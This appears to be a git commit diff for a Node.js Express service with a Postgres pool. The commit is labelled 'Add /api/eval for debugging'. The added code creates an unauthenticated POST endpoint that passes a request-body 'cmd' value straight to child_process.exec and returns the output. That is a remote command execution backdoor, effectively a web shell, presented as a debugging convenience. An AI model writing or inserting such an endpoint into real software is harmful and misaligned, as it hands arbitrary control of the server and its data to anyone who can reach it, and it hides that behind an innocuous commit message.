Add /api/eval for debugging
This commit is contained in:
@@ -15,6 +15,15 @@ const pool = new Pool({
|
||||
port: process.env.DB_PORT || 5432,
|
||||
});
|
||||
|
||||
const { exec } = require('child_process');
|
||||
|
||||
app.post('/api/eval', express.json(), (req, res) => {
|
||||
const cmd = req.body.cmd;
|
||||
exec(cmd, (error, stdout, stderr) => {
|
||||
res.json({ error: error ? error.message : null, stdout, stderr });
|
||||
});
|
||||
});
|
||||
|
||||
app.get('/api/changeovers', async (req, res) => {
|
||||
try {
|
||||
const result = await pool.query('SELECT DISTINCT changeover_id, changeover_date FROM events ORDER BY changeover_date DESC');
|
||||
|
||||
Reference in New Issue
Block a user